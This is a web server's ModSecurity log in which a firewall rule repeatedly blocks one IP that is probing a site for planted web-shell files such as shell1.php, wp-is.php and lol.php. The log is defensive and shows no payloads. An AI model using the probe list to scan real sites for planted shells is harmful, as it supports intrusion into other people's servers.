[Thu Dec 18 21:43:22.502958 2025] [:error] [pid 25357:tid 25376] [client 4.196.84.157:24230] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aUQE-oaT7bsEXnJVfJdyzwAAAdE"]
[Thu Dec 18 21:43:22.773943 2025] [:error] [pid 12035:tid 12043] [client 4.196.84.157:16990] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aUQE-rcVHrNSHjCo-0qemgAAAgE"]
[Thu Dec 18 21:43:23.480340 2025] [:error] [pid 23558:tid 23639] [client 4.196.84.157:1938] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aUQE--Ham9NbgPQa9uYtygAAANg"]
[Thu Dec 18 21:43:24.431300 2025] [:error] [pid 23645:tid 23647] [client 4.196.84.157:14418] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aUQE_Df_Rx0Y0ao_QJhlOwAAAIA"]
[Thu Dec 18 21:43:25.502675 2025] [:error] [pid 12239:tid 12254] [client 4.196.84.157:16928] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "aUQE_dNnXxfGIuWO6akiaAAAAoo"]
[Thu Dec 18 21:43:26.431958 2025] [:error] [pid 24542:tid 24556] [client 4.196.84.157:24700] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "aUQE_ktQz4H2oS3NrDYoJgAAAUw"]
[Thu Dec 18 21:43:27.015482 2025] [:error] [pid 24542:tid 24560] [client 4.196.84.157:16924] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "aUQE_0tQz4H2oS3NrDYoJwAAAVA"]
[Thu Dec 18 21:43:27.572239 2025] [:error] [pid 23556:tid 23565] [client 4.196.84.157:16936] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/f6.php"] [unique_id "aUQE_xnmLlk3u5yt9kHwZAAAAAU"]
[Thu Dec 18 21:43:27.944951 2025] [:error] [pid 12383:tid 12397] [client 4.196.84.157:31896] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v2.php"] [unique_id "aUQE__dgllo9h1cyxGbM-AAAAss"]
[Thu Dec 18 21:43:28.457969 2025] [:error] [pid 24958:tid 24973] [client 4.196.84.157:27645] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v2.php"] [unique_id "aUQFAMkDOrUkd0wNm2HT6AAAAYw"]
[Thu Dec 18 21:43:28.799218 2025] [:error] [pid 12035:tid 12057] [client 4.196.84.157:18442] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v2.php"] [unique_id "aUQFALcVHrNSHjCo-0qeoQAAAg4"]
[Thu Dec 18 21:43:29.117603 2025] [:error] [pid 23558:tid 23628] [client 4.196.84.157:31892] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/v2.php"] [unique_id "aUQFAeHam9NbgPQa9uYt0AAAAM0"]
[Thu Dec 18 21:43:29.283395 2025] [:error] [pid 12383:tid 12400] [client 4.196.84.157:16035] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file5.php"] [unique_id "aUQFAfdgllo9h1cyxGbM-gAAAs4"]
[Thu Dec 18 21:43:29.792070 2025] [:error] [pid 12239:tid 12246] [client 4.196.84.157:16940] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file5.php"] [unique_id "aUQFAdNnXxfGIuWO6akicAAAAoI"]
[Thu Dec 18 21:43:30.075136 2025] [:error] [pid 12383:tid 12409] [client 4.196.84.157:31909] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file5.php"] [unique_id "aUQFAvdgllo9h1cyxGbM_AAAAtc"]
[Thu Dec 18 21:43:30.129662 2025] [:error] [pid 24958:tid 24963] [client 4.196.84.157:16051] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/file5.php"] [unique_id "aUQFAskDOrUkd0wNm2HT6gAAAYI"]
[Thu Dec 18 21:43:30.316454 2025] [:error] [pid 12035:tid 12067] [client 4.196.84.157:27631] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lol.php"] [unique_id "aUQFArcVHrNSHjCo-0qeowAAAhg"]
[Thu Dec 18 21:43:30.833765 2025] [:error] [pid 12035:tid 12065] [client 4.196.84.157:1955] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lol.php"] [unique_id "aUQFArcVHrNSHjCo-0qepAAAAhY"]
[Thu Dec 18 21:43:31.669930 2025] [:error] [pid 24542:tid 24549] [client 4.196.84.157:1950] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lol.php"] [unique_id "aUQFA0tQz4H2oS3NrDYoKgAAAUU"]
[Thu Dec 18 21:43:31.913200 2025] [:error] [pid 24542:tid 24558] [client 4.196.84.157:17112] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lol.php"] [unique_id "aUQFA0tQz4H2oS3NrDYoKwAAAU4"]
[Thu Dec 18 21:43:31.981265 2025] [:error] [pid 12383:tid 12395] [client 4.196.84.157:18490] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fileas.php"] [unique_id "aUQFA_dgllo9h1cyxGbM_gAAAsk"]
[Thu Dec 18 21:43:32.157677 2025] [:error] [pid 24542:tid 24544] [client 4.196.84.157:20795] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fileas.php"] [unique_id "aUQFBEtQz4H2oS3NrDYoLAAAAUA"]
[Thu Dec 18 21:43:32.948621 2025] [:error] [pid 12239:tid 12264] [client 4.196.84.157:18448] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fileas.php"] [unique_id "aUQFBNNnXxfGIuWO6akidQAAApQ"]
[Thu Dec 18 21:43:33.613649 2025] [:error] [pid 12035:tid 12066] [client 4.196.84.157:22411] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fileas.php"] [unique_id "aUQFBbcVHrNSHjCo-0qepQAAAhc"]
[Thu Dec 18 21:43:33.863752 2025] [:error] [pid 23556:tid 23578] [client 4.196.84.157:18480] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n3.php"] [unique_id "aUQFBRnmLlk3u5yt9kHwZgAAABI"]
[Thu Dec 18 21:43:34.662996 2025] [:error] [pid 24433:tid 24450] [client 4.196.84.157:51197] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n3.php"] [unique_id "aUQFBp4pN9ycmipm8TjhVAAAAQ4"]
[Thu Dec 18 21:43:35.102502 2025] [:error] [pid 25357:tid 25380] [client 4.196.84.157:22449] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n3.php"] [unique_id "aUQFB4aT7bsEXnJVfJdy1wAAAdU"]
[Thu Dec 18 21:43:35.398752 2025] [:error] [pid 24958:tid 24971] [client 4.196.84.157:22454] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n3.php"] [unique_id "aUQFB8kDOrUkd0wNm2HT7AAAAYo"]
[Thu Dec 18 21:43:35.678873 2025] [:error] [pid 24958:tid 24976] [client 4.196.84.157:47935] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/an.php"] [unique_id "aUQFB8kDOrUkd0wNm2HT7QAAAY8"]
[Thu Dec 18 21:43:36.119279 2025] [:error] [pid 25357:tid 25362] [client 4.196.84.157:17505] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/an.php"] [unique_id "aUQFCIaT7bsEXnJVfJdy2QAAAcM"]
[Thu Dec 18 21:43:36.958456 2025] [:error] [pid 12239:tid 12265] [client 4.196.84.157:22092] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/an.php"] [unique_id "aUQFCNNnXxfGIuWO6akieAAAApU"]
[Thu Dec 18 21:43:37.244699 2025] [:error] [pid 12239:tid 12260] [client 4.196.84.157:18438] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/an.php"] [unique_id "aUQFCdNnXxfGIuWO6akieQAAApA"]
[Thu Dec 18 21:43:37.708610 2025] [:error] [pid 12239:tid 12251] [client 4.196.84.157:17511] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/error.php"] [unique_id "aUQFCdNnXxfGIuWO6akiewAAAoc"]
[Thu Dec 18 21:43:38.005465 2025] [:error] [pid 24542:tid 24548] [client 4.196.84.157:22135] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/error.php"] [unique_id "aUQFCktQz4H2oS3NrDYoOAAAAUQ"]
[Thu Dec 18 21:43:38.316708 2025] [:error] [pid 24542:tid 24564] [client 4.196.84.157:14440] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/error.php"] [unique_id "aUQFCktQz4H2oS3NrDYoOgAAAVQ"]
[Thu Dec 18 21:43:38.452893 2025] [:error] [pid 23556:tid 23568] [client 4.196.84.157:26725] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/error.php"] [unique_id "aUQFChnmLlk3u5yt9kHwagAAAAg"]
[Thu Dec 18 21:43:38.795882 2025] [:error] [pid 23558:tid 23629] [client 4.196.84.157:22457] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wolv2.php"] [unique_id "aUQFCuHam9NbgPQa9uYt1gAAAM4"]
[Thu Dec 18 21:43:38.976436 2025] [:error] [pid 23558:tid 23616] [client 4.196.84.157:51149] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wolv2.php"] [unique_id "aUQFCuHam9NbgPQa9uYt1wAAAME"]
[Thu Dec 18 21:43:39.177645 2025] [:error] [pid 24958:tid 24968] [client 4.196.84.157:16060] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wolv2.php"] [unique_id "aUQFC8kDOrUkd0wNm2HT7gAAAYc"]
[Thu Dec 18 21:43:39.331170 2025] [:error] [pid 24542:tid 24561] [client 4.196.84.157:17119] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wolv2.php"] [unique_id "aUQFC0tQz4H2oS3NrDYoQAAAAVE"]
[Thu Dec 18 21:43:39.712990 2025] [:error] [pid 12035:tid 12058] [client 4.196.84.157:27644] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-is.php"] [unique_id "aUQFC7cVHrNSHjCo-0qepgAAAg8"]
[Thu Dec 18 21:43:39.982515 2025] [:error] [pid 24433:tid 24454] [client 4.196.84.157:27619] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-is.php"] [unique_id "aUQFC54pN9ycmipm8TjhVwAAARI"]
[Thu Dec 18 21:43:40.408956 2025] [:error] [pid 24433:tid 24447] [client 4.196.84.157:51141] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-is.php"] [unique_id "aUQFDJ4pN9ycmipm8TjhWAAAAQs"]
[Thu Dec 18 21:43:40.664216 2025] [:error] [pid 24433:tid 24460] [client 4.196.84.157:26747] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-is.php"] [unique_id "aUQFDJ4pN9ycmipm8TjhWgAAARg"]
[Thu Dec 18 21:43:43.315085 2025] [:error] [pid 24958:tid 24983] [client 4.196.84.157:17135] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ava.php"] [unique_id "aUQFD8kDOrUkd0wNm2HT8QAAAZY"]
[Thu Dec 18 21:43:43.442435 2025] [:error] [pid 24542:tid 24567] [client 4.196.84.157:18580] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ava.php"] [unique_id "aUQFD0tQz4H2oS3NrDYoRgAAAVc"]
[Thu Dec 18 21:43:43.648947 2025] [:error] [pid 23556:tid 23583] [client 4.196.84.157:26822] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ava.php"] [unique_id "aUQFDxnmLlk3u5yt9kHwbgAAABc"]
[Thu Dec 18 21:43:44.203827 2025] [:error] [pid 12383:tid 12396] [client 4.196.84.157:26836] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ava.php"] [unique_id "aUQFEPdgllo9h1cyxGbNAAAAAso"]
[Thu Dec 18 21:43:44.612812 2025] [:error] [pid 23558:tid 23618] [client 4.196.84.157:26736] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/m.php"] [unique_id "aUQFEOHam9NbgPQa9uYt2AAAAMM"]
[Thu Dec 18 21:43:45.052156 2025] [:error] [pid 24542:tid 24565] [client 4.196.84.157:17151] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/m.php"] [unique_id "aUQFEUtQz4H2oS3NrDYoRwAAAVU"]
[Thu Dec 18 21:43:45.316645 2025] [:error] [pid 24542:tid 24563] [client 4.196.84.157:17500] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/m.php"] [unique_id "aUQFEUtQz4H2oS3NrDYoSAAAAVM"]
[Thu Dec 18 21:43:45.416683 2025] [:error] [pid 24542:tid 24551] [client 4.196.84.157:26863] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/m.php"] [unique_id "aUQFEUtQz4H2oS3NrDYoSQAAAUc"]
[Thu Dec 18 21:43:45.656533 2025] [:error] [pid 24958:tid 24980] [client 4.196.84.157:1954] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell1.php"] [unique_id "aUQFEckDOrUkd0wNm2HT9AAAAZM"]
[Thu Dec 18 21:43:46.114593 2025] [:error] [pid 24433:tid 24444] [client 4.196.84.157:47887] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell1.php"] [unique_id "aUQFEp4pN9ycmipm8TjhXgAAAQg"]
[Thu Dec 18 21:43:46.369053 2025] [:error] [pid 25357:tid 25359] [client 4.196.84.157:14436] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell1.php"] [unique_id "aUQFEoaT7bsEXnJVfJdy4AAAAcA"]
[Thu Dec 18 21:43:46.797565 2025] [:error] [pid 23556:tid 23582] [client 4.196.84.157:17093] [client 4.196.84.157] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/shell1.php"] [unique_id "aUQFEhnmLlk3u5yt9kHwcAAAABY"]
